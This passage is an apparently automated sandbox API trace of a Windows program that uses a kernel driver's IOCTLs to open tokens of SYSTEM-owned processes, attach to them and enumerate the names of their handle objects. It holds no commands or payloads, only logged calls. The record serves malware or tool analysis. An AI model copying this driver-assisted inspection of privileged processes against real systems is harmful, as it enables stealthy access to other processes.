ReturnLength=0xfffff88004435550) returned 0x0 [0121.268] ObfDereferenceObject (Object=0xfffff8a003a944e0) returned 0x1 [0121.268] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.268] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.268] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0121.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.268] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0121.268] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000afc) returned 0x0 [0121.268] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0121.268] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000afc, DesiredAccess=0x8, TokenHandle=0xfffffa80036b6180 | out: TokenHandle=0xfffffa80036b6180*=0xc8) returned 0x0 [0121.268] ZwClose (Handle=0xffffffff80000afc) returned 0x0 [0121.268] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.268] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.268] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.448] CloseHandle (hObject=0xc8) returned 1 [0121.448] CloseHandle (hObject=0xc0) returned 1 [0121.448] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.448] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.448] PsAcquireProcessExitSynchronization () returned 0x0 [0121.448] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880044355d0) [0121.448] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0121.448] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.448] PsReleaseProcessExitSynchronization () returned 0x2 [0121.448] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0121.448] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.448] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0121.448] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.448] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.449] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.449] PsAcquireProcessExitSynchronization () returned 0x0 [0121.449] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880044355d0) [0121.449] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0121.449] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.449] PsReleaseProcessExitSynchronization () returned 0x2 [0121.449] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0121.449] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.449] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0121.449] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.449] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.449] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0121.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.449] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0121.449] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000550) returned 0x0 [0121.449] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x77 [0121.449] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000550, DesiredAccess=0x8, TokenHandle=0xfffffa80036b6180 | out: TokenHandle=0xfffffa80036b6180*=0xc8) returned 0x0 [0121.449] ZwClose (Handle=0xffffffff80000550) returned 0x0 [0121.449] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.449] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.450] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.451] CloseHandle (hObject=0xc8) returned 1 [0121.451] CloseHandle (hObject=0xc0) returned 1 [0121.451] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.451] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.451] PsAcquireProcessExitSynchronization () returned 0x0 [0121.451] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.451] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0121.451] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.451] PsReleaseProcessExitSynchronization () returned 0x2 [0121.451] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.451] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.451] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0121.451] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.452] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.452] PsAcquireProcessExitSynchronization () returned 0x0 [0121.452] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.452] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0121.452] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.452] PsReleaseProcessExitSynchronization () returned 0x2 [0121.452] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.452] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.452] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0121.452] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.452] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.452] PsAcquireProcessExitSynchronization () returned 0x0 [0121.452] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.452] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0121.452] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.452] PsReleaseProcessExitSynchronization () returned 0x2 [0121.452] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.452] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.452] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0121.452] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.452] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.452] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.452] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.453] PsAcquireProcessExitSynchronization () returned 0x0 [0121.453] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.453] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0121.453] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.453] PsReleaseProcessExitSynchronization () returned 0x2 [0121.453] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.453] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.453] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0121.453] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.453] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.453] PsAcquireProcessExitSynchronization () returned 0x0 [0121.453] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.453] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0121.453] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.453] PsReleaseProcessExitSynchronization () returned 0x2 [0121.453] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.453] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.453] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0121.453] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.453] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.453] PsAcquireProcessExitSynchronization () returned 0x0 [0121.453] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.453] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0121.453] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.453] PsReleaseProcessExitSynchronization () returned 0x2 [0121.454] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.454] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.454] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0121.454] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.454] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.454] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.454] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.454] PsAcquireProcessExitSynchronization () returned 0x0 [0121.454] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.454] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0121.454] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.454] PsReleaseProcessExitSynchronization () returned 0x2 [0121.454] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.454] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.454] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0121.454] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.454] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.454] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.454] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.454] PsAcquireProcessExitSynchronization () returned 0x0 [0121.454] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.454] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0121.454] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.454] PsReleaseProcessExitSynchronization () returned 0x2 [0121.454] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.454] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.454] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0121.454] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.455] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.455] PsAcquireProcessExitSynchronization () returned 0x0 [0121.455] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.455] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0121.455] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.455] PsReleaseProcessExitSynchronization () returned 0x2 [0121.455] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.455] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.455] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0121.455] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.455] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.455] PsAcquireProcessExitSynchronization () returned 0x0 [0121.455] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.455] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0121.455] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.455] PsReleaseProcessExitSynchronization () returned 0x2 [0121.455] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.455] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.455] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0121.455] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0121.456] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.456] PsAcquireProcessExitSynchronization () returned 0x0 [0121.456] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880044355d0) [0121.456] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0121.456] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.456] PsReleaseProcessExitSynchronization () returned 0x2 [0121.456] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0121.456] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 